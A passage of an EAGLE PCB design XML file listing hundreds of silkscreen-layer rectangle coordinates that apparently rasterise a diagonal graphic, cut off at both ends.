y2=\"-2.4756\" layer=\"21\"/>\n<rectangle x1=\"-0.1665\" y1=\"-2.4756\" x2=\"0.0821\" y2=\"-2.4712\" layer=\"21\"/>\n<rectangle x1=\"-0.1754\" y1=\"-2.4712\" x2=\"0.091\" y2=\"-2.4667\" layer=\"21\"/>\n<rectangle x1=\"-0.1843\" y1=\"-2.4667\" x2=\"0.0999\" y2=\"-2.4623\" layer=\"21\"/>\n<rectangle x1=\"-0.1888\" y1=\"-2.4623\" x2=\"0.1043\" y2=\"-2.4578\" layer=\"21\"/>\n<rectangle x1=\"-0.1976\" y1=\"-2.4578\" x2=\"0.1132\" y2=\"-2.4534\" layer=\"21\"/>\n<rectangle x1=\"-0.2065\" y1=\"-2.4534\" x2=\"0.1221\" y2=\"-2.449\" layer=\"21\"/>\n<rectangle x1=\"-0.211\" y1=\"-2.449\" x2=\"0.131\" y2=\"-2.4445\" layer=\"21\"/>\n<rectangle x1=\"-0.2198\" y1=\"-2.4445\" x2=\"0.1354\" y2=\"-2.4401\" layer=\"21\"/>\n<rectangle x1=\"-0.2287\" y1=\"-2.4401\" x2=\"0.1443\" y2=\"-2.4356\" layer=\"21\"/>\n<rectangle x1=\"-0.2376\" y1=\"-2.4356\" x2=\"0.1532\" y2=\"-2.4312\" layer=\"21\"/>\n<rectangle x1=\"-0.242\" y1=\"-2.4312\" x2=\"0.1576\" y2=\"-2.4268\" layer=\"21\"/>\n<rectangle x1=\"-0.2509\" y1=\"-2.4268\" x2=\"0.1665\" y2=\"-2.4223\" layer=\"21\"/>\n<rectangle x1=\"-0.2598\" y1=\"-2.4223\" x2=\"0.1754\" y2=\"-2.4179\" layer=\"21\"/>\n<rectangle x1=\"-0.2687\" y1=\"-2.4179\" x2=\"0.1843\" y2=\"-2.4134\" layer=\"21\"/>\n<rectangle x1=\"-0.2731\" y1=\"-2.4134\" x2=\"0.1887\" y2=\"-2.409\" layer=\"21\"/>\n<rectangle x1=\"-0.282\" y1=\"-2.409\" x2=\"0.1976\" y2=\"-2.4046\" layer=\"21\"/>\n<rectangle x1=\"-0.2909\" y1=\"-2.4046\" x2=\"0.2065\" y2=\"-2.4001\" layer=\"21\"/>\n<rectangle x1=\"-0.2998\" y1=\"-2.4001\" x2=\"0.2153\" y2=\"-2.3957\" layer=\"21\"/>\n<rectangle x1=\"-0.3042\" y1=\"-2.3957\" x2=\"0.2198\" y2=\"-2.3912\" layer=\"21\"/>\n<rectangle x1=\"-0.3131\" y1=\"-2.3912\" x2=\"0.2287\" y2=\"-2.3868\" layer=\"21\"/>\n<rectangle x1=\"-0.322\" y1=\"-2.3868\" x2=\"0.2375\" y2=\"-2.3824\" layer=\"21\"/>\n<rectangle x1=\"-0.3264\" y1=\"-2.3824\" x2=\"0.242\" y2=\"-2.3779\" layer=\"21\"/>\n<rectangle x1=\"-0.3353\" y1=\"-2.3779\" x2=\"0.2509\" y2=\"-2.3735\" layer=\"21\"/>\n<rectangle x1=\"-0.3442\" y1=\"-2.3735\" x2=\"0.2597\" y2=\"-2.369\" layer=\"21\"/>\n<rectangle x1=\"-0.3531\" y1=\"-2.369\" x2=\"0.2686\" y2=\"-2.3646\" layer=\"21\"/>\n<rectangle x1=\"-0.3575\" y1=\"-2.3646\" x2=\"0.2731\" y2=\"-2.3602\" layer=\"21\"/>\n<rectangle x1=\"-0.3664\" y1=\"-2.3602\" x2=\"0.2819\" y2=\"-2.3557\" layer=\"21\"/>\n<rectangle x1=\"-0.3753\" y1=\"-2.3557\" x2=\"0.2908\" y2=\"-2.3513\" layer=\"21\"/>\n<rectangle x1=\"-0.3841\" y1=\"-2.3513\" x2=\"0.2997\" y2=\"-2.3468\" layer=\"21\"/>\n<rectangle x1=\"-0.3886\" y1=\"-2.3468\" x2=\"0.3041\" y2=\"-2.3424\" layer=\"21\"/>\n<rectangle x1=\"-0.3975\" y1=\"-2.3424\" x2=\"0.313\" y2=\"-2.338\" layer=\"21\"/>\n<rectangle x1=\"-0.4063\" y1=\"-2.338\" x2=\"0.3219\" y2=\"-2.3335\" layer=\"21\"/>\n<rectangle x1=\"-0.4108\" y1=\"-2.3335\" x2=\"0.3308\" y2=\"-2.3291\" layer=\"21\"/>\n<rectangle x1=\"-0.4197\" y1=\"-2.3291\" x2=\"0.3352\" y2=\"-2.3246\" layer=\"21\"/>\n<rectangle x1=\"-0.4285\" y1=\"-2.3246\" x2=\"0.3441\" y2=\"-2.3202\" layer=\"21\"/>\n<rectangle x1=\"-0.4374\" y1=\"-2.3202\" x2=\"0.353\" y2=\"-2.3157\" layer=\"21\"/>\n<rectangle x1=\"-0.4419\" y1=\"-2.3157\" x2=\"0.3574\" y2=\"-2.3113\" layer=\"21\"/>\n<rectangle x1=\"-0.4507\" y1=\"-2.3113\" x2=\"0.3663\" y2=\"-2.3069\" layer=\"21\"/>\n<rectangle x1=\"-0.4596\" y1=\"-2.3069\" x2=\"0.3752\" y2=\"-2.3024\" layer=\"21\"/>\n<rectangle x1=\"-0.4685\" y1=\"-2.3024\" x2=\"0.3841\" y2=\"-2.298\" layer=\"21\"/>\n<rectangle x1=\"-0.4729\" y1=\"-2.298\" x2=\"0.3885\" y2=\"-2.2935\" layer=\"21\"/>\n<rectangle x1=\"-0.4818\" y1=\"-2.2935\" x2=\"0.3974\" y2=\"-2.2891\" layer=\"21\"/>\n<rectangle x1=\"-0.4907\" y1=\"-2.2891\" x2=\"0.4063\" y2=\"-2.2847\" layer=\"21\"/>\n<rectangle x1=\"-0.4996\" y1=\"-2.2847\" x2=\"0.4152\" y2=\"-2.2802\" layer=\"21\"/>\n<rectangle x1=\"-0.504\" y1=\"-2.2802\" x2=\"0.4196\" y2=\"-2.2758\" layer=\"21\"/>\n<rectangle x1=\"-0.5129\" y1=\"-2.2758\" x2=\"0.4285\" y2=\"-2.2713\" layer=\"21\"/>\n<rectangle x1=\"-0.5218\" y1=\"-2.2713\" x2=\"0.4374\" y2=\"-2.2669\" layer=\"21\"/>\n<rectangle x1=\"-0.5262\" y1=\"-2.2669\" x2=\"0.4418\" y2=\"-2.2625\" layer=\"21\"/>\n<rectangle x1=\"-0.5351\" y1=\"-2.2625\" x2=\"0.4507\" y2=\"-2.258\" layer=\"21\"/>\n<rectangle x1=\"-0.544\" y1=\"-2.258\" x2=\"0.4596\" y2=\"-2.2536\" layer=\"21\"/>\n<rectangle x1=\"-0.5529\" y1=\"-2.2536\" x2=\"0.4684\" y2=\"-2.2491\" layer=\"21\"/>\n<rectangle x1=\"-0.5573\" y1=\"-2.2491\" x2=\"0.4729\" y2=\"-2.2447\" layer=\"21\"/>\n<rectangle x1=\"-0.5662\" y1=\"-2.2447\" x2=\"0.4818\" y2=\"-2.2403\" layer=\"21\"/>\n<rectangle x1=\"-0.5751\" y1=\"-2.2403\" x2=\"0.4906\" y2=\"-2.2358\" layer=\"21\"/>\n<rectangle x1=\"-0.584\" y1=\"-2.2358\" x2=\"0.4995\" y2=\"-2.2314\" layer=\"21\"/>\n<rectangle x1=\"-0.5884\" y1=\"-2.2314\" x2=\"0.504\" y2=\"-2.2269\" layer=\"21\"/>\n<rectangle x1=\"-0.5973\" y1=\"-2.2269\" x2=\"0.5128\" y2=\"-2.2225\" layer=\"21\"/>\n<rectangle x1=\"-0.6062\" y1=\"-2.2225\" x2=\"0.5217\" y2=\"-2.2181\" layer=\"21\"/>\n<rectangle x1=\"-0.615\" y1=\"-2.2181\" x2=\"0.5306\" y2=\"-2.2136\" layer=\"21\"/>\n<rectangle x1=\"-0.6195\" y1=\"-2.2136\" x2=\"0.535\" y2=\"-2.2092\" layer=\"21\"/>\n<rectangle x1=\"-0.6284\" y1=\"-2.2092\" x2=\"0.5439\" y2=\"-2.2047\" layer=\"21\"/>\n<rectangle x1=\"-0.6372\" y1=\"-2.2047\" x2=\"0.5528\" y2=\"-2.2003\" layer=\"21\"/>\n<rectangle x1=\"-0.6417\" y1=\"-2.2003\" x2=\"0.5573\" y2=\"-2.1959\" layer=\"21\"/>\n<rectangle x1=\"-0.6506\" y1=\"-2.1959\" x2=\"0.5661\" y2=\"-2.1914\" layer=\"21\"/>\n<rectangle x1=\"-0.6594\" y1=\"-2.1914\" x2=\"0.575\" y2=\"-2.187\" layer=\"21\"/>\n<rectangle x1=\"-0.6683\" y1=\"-2.187\" x2=\"0.5839\" y2=\"-2.1825\" layer=\"21\"/>\n<rectangle x1=\"-0.6728\" y1=\"-2.1825\" x2=\"0.5883\" y2=\"-2.1781\" layer=\"21\"/>\n<rectangle x1=\"-0.6816\" y1=\"-2.1781\" x2=\"0.5972\" y2=\"-2.1737\" layer=\"21\"/>\n<rectangle x1=\"-0.6905\" y1=\"-2.1737\" x2=\"0.6061\" y2=\"-2.1692\" layer=\"21\"/>\n<rectangle x1=\"-0.6994\" y1=\"-2.1692\" x2=\"0.615\" y2=\"-2.1648\" layer=\"21\"/>\n<rectangle x1=\"-0.7038\" y1=\"-2.1648\" x2=\"0.6194\" y2=\"-2.1603\" layer=\"21\"/>\n<rectangle x1=\"-0.7127\" y1=\"-2.1603\" x2=\"0.6283\" y2=\"-2.1559\" layer=\"21\"/>\n<rectangle x1=\"-0.7216\" y1=\"-2.1559\" x2=\"0.6372\" y2=\"-2.1515\" layer=\"21\"/>\n<rectangle x1=\"-0.7305\" y1=\"-2.1515\" x2=\"0.6461\" y2=\"-2.147\" layer=\"21\"/>\n<rectangle x1=\"-0.7349\" y1=\"-2.147\" x2=\"0.6505\" y2=\"-2.1426\" layer=\"21\"/>\n<rectangle x1=\"-0.7438\" y1=\"-2.1426\" x2=\"0.6594\" y2=\"-2.1381\" layer=\"21\"/>\n<rectangle x1=\"-0.7527\" y1=\"-2.1381\" x2=\"0.6683\" y2=\"-2.1337\" layer=\"21\"/>\n<rectangle x1=\"-0.7571\" y1=\"-2.1337\" x2=\"0.6727\" y2=\"-2.1292\" layer=\"21\"/>\n<rectangle x1=\"-0.766\" y1=\"-2.1292\" x2=\"0.6816\" y2=\"-2.1248\" layer=\"21\"/>\n<rectangle x1=\"-0.7749\" y1=\"-2.1248\" x2=\"0.6905\" y2=\"-2.1204\" layer=\"21\"/>\n<rectangle x1=\"-0.7838\" y1=\"-2.1204\" x2=\"0.6993\" y2=\"-2.1159\" layer=\"21\"/>\n<rectangle x1=\"-0.7882\" y1=\"-2.1159\" x2=\"0.7038\" y2=\"-2.1115\" layer=\"21\"/>\n<rectangle x1=\"-0.7971\" y1=\"-2.1115\" x2=\"0.7127\" y2=\"-2.107\" layer=\"21\"/>\n<rectangle x1=\"-0.806\" y1=\"-2.107\" x2=\"0.7216\" y2=\"-2.1026\" layer=\"21\"/>\n<rectangle x1=\"-0.8149\" y1=\"-2.1026\" x2=\"0.7304\" y2=\"-2.0982\" layer=\"21\"/>\n<rectangle x1=\"-0.8193\" y1=\"-2.0982\" x2=\"0.7349\" y2=\"-2.0937\" layer=\"21\"/>\n<rectangle x1=\"-0.8282\" y1=\"-2.0937\" x2=\"0.7438\" y2=\"-2.0893\" layer=\"21\"/>\n<rectangle x1=\"-0.8371\" y1=\"-2.0893\" x2=\"0.7526\" y2=\"-2.0848\" layer=\"21\"/>\n<rectangle x1=\"-0.8415\" y1=\"-2.0848\" x2=\"0.7571\" y2=\"-2.0804\" layer=\"21\"/>\n<rectangle x1=\"-0.8504\" y1=\"-2.0804\" x2=\"0.766\" y2=\"-2.076\" layer=\"21\"/>\n<rectangle x1=\"-0.8593\" y1=\"-2.076\" x2=\"0.7748\" y2=\"-2.0715\" layer=\"21\"/>\n<rectangle x1=\"-0.8681\" y1=\"-2.0715\" x2=\"0.7837\" y2=\"-2.0671\" layer=\"21\"/>\n<rectangle x1=\"-0.8726\" y1=\"-2.0671\" x2=\"0.7882\" y2=\"-2.0626\" layer=\"21\"/>\n<rectangle x1=\"-0.8815\" y1=\"-2.0626\" x2=\"0.797\" y2=\"-2.0582\" layer=\"21\"/>\n<rectangle x1=\"-0.8904\" y1=\"-2.0582\" x2=\"0.8059\" y2=\"-2.0538\" layer=\"21\"/>\n<rectangle x1=\"-0.8992\" y1=\"-2.0538\" x2=\"0.8148\" y2=\"-2.0493\" layer=\"21\"/>\n<rectangle x1=\"-0.9037\" y1=\"-2.0493\" x2=\"0.8192\" y2=\"-2.0449\" layer=\"21\"/>\n<rectangle x1=\"-0.9126\" y1=\"-2.0449\" x2=\"0.8281\" y2=\"-2.0404\" layer=\"21\"/>\n<rectangle x1=\"-0.9214\" y1=\"-2.0404\" x2=\"0.837\" y2=\"-2.036\" layer=\"21\"/>\n<rectangle x1=\"-0.9303\" y1=\"-2.036\" x2=\"0.8459\" y2=\"-2.0316\" layer=\"21\"/>\n<rectangle x1=\"-0.9348\" y1=\"-2.0316\" x2=\"0.8503\" y2=\"-2.0271\" layer=\"21\"/>\n<rectangle x1=\"-0.9436\" y1=\"-2.0271\" x2=\"0.8592\" y2=\"-2.0227\" layer=\"21\"/>\n<rectangle x1=\"-0.9525\" y1=\"-2.0227\" x2=\"0.8681\" y2=\"-2.0182\" layer=\"21\"/>\n<rectangle x1=\"-0.957\" y1=\"-2.0182\" x2=\"0.8725\" y2=\"-2.0138\" layer=\"21\"/>\n<rectangle x1=\"-0.9658\" y1=\"-2.0138\" x2=\"0.8814\" y2=\"-2.0094\" layer=\"21\"/>\n<rectangle x1=\"-0.9747\" y1=\"-2.0094\" x2=\"0.8903\" y2=\"-2.0049\" layer=\"21\"/>\n<rectangle x1=\"-0.9836\" y1=\"-2.0049\" x2=\"0.8992\" y2=\"-2.0005\" layer=\"21\"/>\n<rectangle x1=\"-0.988\" y1=\"-2.0005\" x2=\"0.9036\" y2=\"-1.996\" layer=\"21\"/>\n<rectangle x1=\"-0.9969\" y1=\"-1.996\" x2=\"0.9125\" y2=\"-1.9916\" layer=\"21\"/>\n<rectangle x1=\"-1.0058\" y1=\"-1.9916\" x2=\"0.9214\" y2=\"-1.9872\" layer=\"21\"/>\n<rectangle x1=\"-1.0147\" y1=\"-1.9872\" x2=\"0.9303\" y2=\"-1.9827\" layer=\"21\"/>\n<rectangle x1=\"-1.0191\" y1=\"-1.9827\" x2=\"0.9347\" y2=\"-1.9783\" layer=\"21\"/>\n<rectangle x1=\"-1.028\" y1=\"-1.9783\" x2=\"0.9436\" y2=\"-1.9738\" layer=\"21\"/>\n<rectangle x1=\"-1.0369\" y1=\"-1.9738\" x2=\"0.9525\" y2=\"-1.9694\" layer=\"21\"/>\n<rectangle x1=\"-1.0458\" y1=\"-1.9694\" x2=\"0.9613\" y2=\"-1.965\" layer=\"21\"/>\n<rectangle x1=\"-1.0502\" y1=\"-1.965\" x2=\"0.9658\" y2=\"-1.9605\" layer=\"21\"/>\n<rectangle x1=\"-1.0591\" y1=\"-1.9605\" x2=\"0.9747\" y2=\"-1.9561\" layer=\"21\"/>\n<rectangle x1=\"-1.068\" y1=\"-1.9561\" x2=\"0.9835\" y2=\"-1.9516\" layer=\"21\"/>\n<rectangle x1=\"-1.0724\" y1=\"-1.9516\" x2=\"0.988\" y2=\"-1.9472\" layer=\"21\"/>\n<rectangle x1=\"-1.0813\" y1=\"-1.9472\" x2=\"0.9969\" y2=\"-1.9428\" layer=\"21\"/>\n<rectangle x1=\"-1.0902\" y1=\"-1.9428\" x2=\"1.0057\" y2=\"-1.9383\" layer=\"21\"/>\n<rectangle x1=\"-1.0991\" y1=\"-1.9383\" x2=\"1.0146\" y2=\"-1.9339\" layer=\"21\"/>\n<rectangle x1=\"-1.1035\" y1=\"-1.9339\" x2=\"1.0191\" y2=\"-1.9294\" layer=\"21\"/>\n<rectangle x1=\"-1.1124\" y1=\"-1.9294\" x2=\"1.0279\" y2=\"-1.925\" layer=\"21\"/>\n<rectangle x1=\"-1.1213\" y1=\"-1.925\" x2=\"1.0368\" y2=\"-1.9206\" layer=\"21\"/>\n<rectangle x1=\"-1.1301\" y1=\"-1.9206\" x2=\"1.0457\" y2=\"-1.9161\" layer=\"21\"/>\n<rectangle x1=\"-1.1346\" y1=\"-1.9161\" x2=\"1.0501\" y2=\"-1.9117\" layer=\"21\"/>\n<rectangle x1=\"-1.1435\" y1=\"-1.9117\" x2=\"1.059\" y2=\"-1.9072\" layer=\"21\"/>\n<rectangle x1=\"-1.1523\" y1=\"-1.9072\" x2=\"1.0679\" y2=\"-1.9028\" layer=\"21\"/>\n<rectangle x1=\"-1.1612\" y1=\"-1.9028\" x2=\"1.0723\" y2=\"-1.8983\" layer=\"21\"/>\n<rectangle x1=\"-1.1657\" y1=\"-1.8983\" x2=\"1.0812\" y2=\"-1.8939\" layer=\"21\"/>\n<rectangle x1=\"-1.1745\" y1=\"-1.8939\" x2=\"1.0901\" y2=\"-1.8895\" layer=\"21\"/>\n<rectangle x1=\"-1.1834\" y1=\"-1.8895\" x2=\"1.099\" y2=\"-1.885\" layer=\"21\"/>\n<rectangle x1=\"-1.1879\" y1=\"-1.885\" x2=\"1.1034\" y2=\"-1.8806\" layer=\"21\"/>\n<rectangle x1=\"-1.1967\" y1=\"-1.8806\" x2=\"1.1123\" y2=\"-1.8761\" layer=\"21\"/>\n<rectangle x1=\"-1.2056\" y1=\"-1.8761\" x2=\"1.1212\" y2=\"-1.8717\" layer=\"21\"/>\n<rectangle x1=\"-1.2145\" y1=\"-1.8717\" x2=\"1.1301\" y2=\"-1.8673\" layer=\"21\"/>\n<rectangle x1=\"-1.2189\" y1=\"-1.8673\" x2=\"1.1345\" y2=\"-1.8628\" layer=\"21\"/>\n<rectangle x1=\"-1.2278\" y1=\"-1.8628\" x2=\"1.1434\" y2=\"-1.8584\" layer=\"21\"/>\n<rectangle x1=\"-1.2367\" y1=\"-1.8584\" x2=\"1.1523\" y2=\"-1.8539\" layer=\"21\"/>\n<rectangle x1=\"-1.2456\" y1=\"-1.8539\" x2=\"1.1612\" y2=\"-1.8495\" layer=\"21\"/>\n<rectangle x1=\"-1.25\" y1=\"-1.8495\" x2=\"1.1656\" y2=\"-1.8451\" layer=\"21\"/>\n<rectangle x1=\"-1.2589\" y1=\"-1.8451\" x2=\"1.1745\" y2=\"-1.8406\" layer=\"21\"/>\n<rectangle x1=\"-1.2678\" y1=\"-1.8406\" x2=\"1.1834\" y2=\"-1.8362\" layer=\"21\"/>\n<rectangle x1=\"-1.2722\" y1=\"-1.8362\" x2=\"1.1878\" y2=\"-1.8317\" layer=\"21\"/>\n<rectangle x1=\"-1.2811\" y1=\"-1.8317\" x2=\"1.1967\" y2=\"-1.8273\" layer=\"21\"/>\n<rectangle x1=\"-1.29\" y1=\"-1.8273\" x2=\"1.2056\" y2=\"-1.8229\" layer=\"21\"/>\n<rectangle x1=\"-1.2989\" y1=\"-1.8229\" x2=\"1.2144\" y2=\"-1.8184\" layer=\"21\"/>\n<rectangle x1=\"-1.3033\" y1=\"-1.8184\" x2=\"1.2189\" y2=\"-1.814\" layer=\"21\"/>\n<rectangle x1=\"-1.3122\" y1=\"-1.814\" x2=\"1.2278\" y2=\"-1.8095\" layer=\"21\"/>\n<rectangle x1=\"-1.3211\" y1=\"-1.8095\" x2=\"1.2366\" y2=\"-1.8051\" layer=\"21\"/>\n<rectangle x1=\"-1.33\" y1=\"-1.8051\" x2=\"1.2455\" y2=\"-1.8007\" layer=\"21\"/>\n<rectangle x1=\"-1.3344\" y1=\"-1.8007\" x2=\"1.25\" y2=\"-1.7962\" layer=\"21\"/>\n<rectangle x1=\"-1.3433\" y1=\"-1.7962\" x2=\"1.2589\" y2=\"-1.7918\" layer=\"21\"/>\n<rectangle x1=\"-1.3522\" y1=\"-1.7918\" x2=\"1.2677\" y2=\"-1.7873\" layer=\"21\"/>\n<rectangle x1=\"-1.361\" y1=\"-1.7873\" x2=\"1.2722\" y2=\"-1.7829\" layer=\"21\"/>\n<rectangle x1=\"-1.3655\" y1=\"-1.7829\" x2=\"1.2811\" y2=\"-1.7785\" layer=\"21\"/>\n<rectangle x1=\"-1.3744\" y1=\"-1.7785\" x2=\"1.2899\" y2=\"-1.774\" layer=\"21\"/>\n<rectangle x1=\"-1.3832\" y1=\"-1.774\" x2=\"1.2988\" y2=\"-1.7696\" layer=\"21\"/>\n<rectangle x1=\"-1.3877\" y1=\"-1.7696\" x2=\"1.3033\" y2=\"-1.7651\" layer=\"21\"/>\n<rectangle x1=\"-1.3966\" y1=\"-1.7651\" x2=\"1.3121\" y2=\"-1.7607\" layer=\"21\"/>\n<rectangle x1=\"-1.4054\" y1=\"-1.7607\" x2=\"1.321\" y2=\"-1.7563\" layer=\"21\"/>\n<rectangle x1=\"-1.4143\" y1=\"-1.7563\" x2=\"1.3299\" y2=\"-1.7518\" layer=\"21\"/>\n<rectangle x1=\"-1.4188\" y1=\"-1.7518\" x2=\"1.3343\" y2=\"-1.7474\" layer=\"21\"/>\n<rectangle x1=\"-1.4277\" y1=\"-1.7474\" x2=\"1.3432\" y2=\"-1.7429\" layer=\"21\"/>\n<rectangle x1=\"-1.4365\" y1=\"-1.7429\" x2=\"1.3521\" y2=\"-1.7385\" layer=\"21\"/>\n<rectangle x1=\"-1.4454\" y1=\"-1.7385\" x2=\"1.361\" y2=\"-1.734\" layer=\"21\"/>\n<rectangle x1=\"-1.4499\" y1=\"-1.734\" x2=\"1.3654\" y2=\"-1.7296\" layer=\"21\"/>\n<rectangle x1=\"-1.4587\" y1=\"-1.7296\" x2=\"1.3743\" y2=\"-1.7252\" layer=\"21\"/>\n<rectangle x1=\"-1.4676\" y1=\"-1.7252\" x2=\"1.3832\" y2=\"-1.7207\" layer=\"21\"/>\n<rectangle x1=\"-1.4765\" y1=\"-1.7207\" x2=\"1.3876\" y2=\"-1.7163\" layer=\"21\"/>\n<rectangle x1=\"-1.4809\" y1=\"-1.7163\" x2=\"1.3965\" y2=\"-1.7118\" layer=\"21\"/>\n<rectangle x1=\"-1.4898\" y1=\"-1.7118\" x2=\"1.4054\" y2=\"-1.7074\" layer=\"21\"/>\n<rectangle x1=\"-1.4987\" y1=\"-1.7074\" x2=\"1.4143\" y2=\"-1.703\" layer=\"21\"/>\n<rectangle x1=\"-1.5031\" y1=\"-1.703\" x2=\"1.4187\" y2=\"-1.6985\" layer=\"21\"/>\n<rectangle x1=\"-1.512\" y1=\"-1.6985\" x2=\"1.4276\" y2=\"-1.6941\" layer=\"21\"/>\n<rectangle x1=\"-1.5209\" y1=\"-1.6941\" x2=\"1.4365\" y2=\"-1.6896\" layer=\"21\"/>\n<rectangle x1=\"-1.5298\" y1=\"-1.6896\" x2=\"1.4454\" y2=\"-1.6852\" layer=\"21\"/>\n<rectangle x1=\"-1.5342\" y1=\"-1.6852\" x2=\"1.4498\" y2=\"-1.6808\" layer=\"21\"/>\n<rectangle x1=\"-1.5431\" y1=\"-1.6808\" x2=\"1.4587\" y2=\"-1.6763\" layer=\"21\"/>\n<rectangle x1=\"-1.552\" y1=\"-1.6763\" x2=\"1.4676\" y2=\"-1.6719\" layer=\"21\"/>\n<rectangle x1=\"-1.5609\" y1=\"-1.6719\" x2=\"1.4764\" y2=\"-1.6674\" layer=\"21\"/>\n<rectangle x1=\"-1.5653\" y1=\"-1.6674\" x2=\"1.4809\" y2=\"-1.663\" layer=\"21\"/>\n<rectangle x1=\"-1.5742\" y1=\"-1.663\" x2=\"1.4898\" y2=\"-1.6586\" layer=\"21\"/>\n<rectangle x1=\"-1.5831\" y1=\"-1.6586\" x2=\"1.4986\" y2=\"-1.6541\" layer=\"21\"/>\n<rectangle x1=\"-1.5919\" y1=\"-1.6541\" x2=\"1.5031\" y2=\"-1.6497\" layer=\"21\"/>\n<rectangle x1=\"-1.5964\" y1=\"-1.6497\" x2=\"1.512\" y2=\"-1.6452\" layer=\"21\"/>\n<rectangle x1=\"-1.6053\" y1=\"-1.6452\" x2=\"1.5208\" y2=\"-1.6408\" layer=\"21\"/>\n<rectangle x1=\"-1.6142\" y1=\"-1.6408\" x2=\"1.5297\" y2=\"-1.6364\" layer=\"21\"/>\n<rectangle x1=\"-1.6186\" y1=\"-1.6364\" x2=\"1.5342\" y2=\"-1.6319\" layer=\"21\"/>\n<rectangle x1=\"-1.6275\" y1=\"-1.6319\" x2=\"1.543\" y2=\"-1.6275\" layer=\"21\"/>\n<rectangle x1=\"-1.6364\" y1=\"-1.6275\" x2=\"1.5519\" y2=\"-1.623\" layer=\"21\"/>\n<rectangle x1=\"-1.6452\" y1=\"-1.623\" x2=\"1.5608\" y2=\"-1.6186\" layer=\"21\"/>\n<rectangle x1=\"-1.6497\" y1=\"-1.6186\" x2=\"1.5652\" y2=\"-1.6142\" layer=\"21\"/>\n<rectangle x1=\"-1.6586\" y1=\"-1.6142\" x2=\"1.5741\" y2=\"-1.6097\" layer=\"21\"/>\n<rectangle x1=\"-1.6674\" y1=\"-1.6097\" x2=\"1.583\" y2=\"-1.6053\" layer=\"21\"/>\n<rectangle x1=\"-1.6763\" y1=\"-1.6053\" x2=\"1.5874\" y2=\"-1.6008\" layer=\"21\"/>\n<rectangle x1=\"-1.6808\" y1=\"-1.6008\" x2=\"1.5963\" y2=\"-1.5964\" layer=\"21\"/>\n<rectangle x1=\"-1.6896\" y1=\"-1.5964\" x2=\"1.6052\" y2=\"-1.5919\" layer=\"21\"/>\n<rectangle x1=\"-1.6985\" y1=\"-1.5919\" x2=\"1.6141\" y2=\"-1.5875\" layer=\"21\"/>\n<rectangle x1=\"-1.703\" y1=\"-1.5875\" x2=\"1.6185\" y2=\"-1.5831\" layer=\"21\"/>\n<rectangle x1=\"-1.7118\" y1=\"-1.5831\" x2=\"1.6274\" y2=\"-1.5786\" layer=\"21\"/>\n<rectangle x1=\"-1.7207\" y1=\"-1.5786\" x2=\"1.6363\" y2=\"-1.5742\" layer=\"21\"/>\n<rectangle x1=\"-1.7296\" y1=\"-1.5742\" x2=\"1.6452\" y2=\"-1.5697\" layer=\"21\"/>\n<rectangle x1=\"-1.734\" y1=\"-1.5697\" x2=\"1.6496\" y2=\"-1.5653\" layer=\"21\"/>\n<rectangle x1=\"-1.7429\" y1=\"-1.5653\" x2=\"1.6585\" y2=\"-1.5609\" layer=\"21\"/>\n<rectangle x1=\"-1.7518\" y1=\"-1.5609\" x2=\"1.6674\" y2=\"-1.5564\" layer=\"21\"/>\n<rectangle x1=\"-1.7607\" y1=\"-1.5564\" x2=\"1.6762\" y2=\"-1.552\" layer=\"21\"/>\n<rectangle x1=\"-1.7651\" y1=\"-1.552\" x2=\"1.6807\" y2=\"-1.5475\" layer=\"21\"/>\n<rectangle x1=\"-1.774\" y1=\"-1.5475\" x2=\"1.6896\" y2=\"-1.5431\" layer=\"21\"/>\n<rectangle x1=\"-1.7829\" y1=\"-1.5431\" x2=\"1.6985\" y2=\"-1.5387\" layer=\"21\"/>\n<rectangle x1=\"-1.7918\" y1=\"-1.5387\" x2=\"1.7029\" y2=\"-1.5342\" layer=\"21\"/>\n<rectangle x1=\"-1.7962\" y1=\"-1.5342\" x2=\"1.7118\" y2=\"-1.5298\" layer=\"21\"/>\n<rectangle x1=\"-1.8051\" y1=\"-1.5298\" x2=\"1.7207\" y2=\"-1.5253\" layer=\"21\"/>\n<rectangle x1=\"-1.814\" y1=\"-1.5253\" x2=\"1.7295\" y2=\"-1.5209\" layer=\"21\"/>\n<rectangle x1=\"-1.8184\" y1=\"-1.5209\" x2=\"1.734\" y2=\"-1.5165\" layer=\"21\"/>\n<rectangle x1=\"-1.8273\" y1=\"-1.5165\" x2=\"1.7429\" y2=\"-1.512\" layer=\"21\"/>\n<rectangle x1=\"-1.8362\" y1=\"-1.512\" x2=\"1.7517\" y2=\"-1.5076\" layer=\"21\"/>\n<rectangle x1=\"-1.8451\" y1=\"-1.5076\" x2=\"1.7606\" y2=\"-1.5031\" layer=\"21\"/>\n<rectangle x1=\"-1.8495\" y1=\"-1.5031\" x2=\"1.7651\" y2=\"-1.4987\" layer=\"21\"/>\n<rectangle x1=\"-1.8584\" y1=\"-1.4987\" x2=\"1.7739\" y2=\"-1.4943\" layer=\"21\"/>\n<rectangle x1=\"-1.8673\" y1=\"-1.4943\" x2=\"1.7828\" y2=\"-1.4898\" layer=\"21\"/>\n<rectangle x1=\"-1.8761\" y1=\"-1.4898\" x2=\"1.7917\" y2=\"-1.4854\" layer=\"21\"/>\n<rectangle x1=\"-1.8806\" y1=\"-1.4854\" x2=\"1.7962\" y2=\"-1.4809\" layer=\"21\"/>\n<rectangle x1=\"-1.8895\" y1=\"-1.4809\" x2=\"1.805\" y2=\"-1.4765\" layer=\"21\"/>\n<rectangle x1=\"-1.8983\" y1=\"-1.4765\" x2=\"1.8139\" y2=\"-1.4721\" layer=\"21\"/>\n<rectangle x1=\"-1.9072\" y1=\"-1.4721\" x2=\"1.8184\" y2=\"-1.4676\" layer=\"21\"/>\n<rectangle x1=\"-1.9117\" y1=\"-1.4676\" x2=\"1.8272\" y2=\"-1.4632\" layer=\"21\"/>\n<rectangle x1=\"-1.9206\" y1=\"-1.4632\" x2=\"1.8361\" y2=\"-1.4587\" layer=\"21\"/>\n<rectangle x1=\"-1.9294\" y1=\"-1.4587\" x2=\"1.845\" y2=\"-1.4543\" layer=\"21\"/>\n<rectangle x1=\"-1.9339\" y1=\"-1.4543\" x2=\"1.8494\" y2=\"-1.4499\" layer=\"21\"/>\n<rectangle x1=\"-1.9428\" y1=\"-1.4499\" x2=\"1.8583\" y2=\"-1.4454\" layer=\"21\"/>\n<rectangle x1=\"-1.9516\" y1=\"-1.4454\" x2=\"1.8672\" y2=\"-1.441\" layer=\"21\"/>\n<rectangle x1=\"-1.9605\" y1=\"-1.441\" x2=\"1.8761\" y2=\"-1.4365\" layer=\"21\"/>\n<rectangle x1=\"-1.965\" y1=\"-1.4365\" x2=\"1.8805\" y2=\"-1.4321\" layer=\"21\"/>\n<rectangle x1=\"-1.9738\" y1=\"-1.4321\" 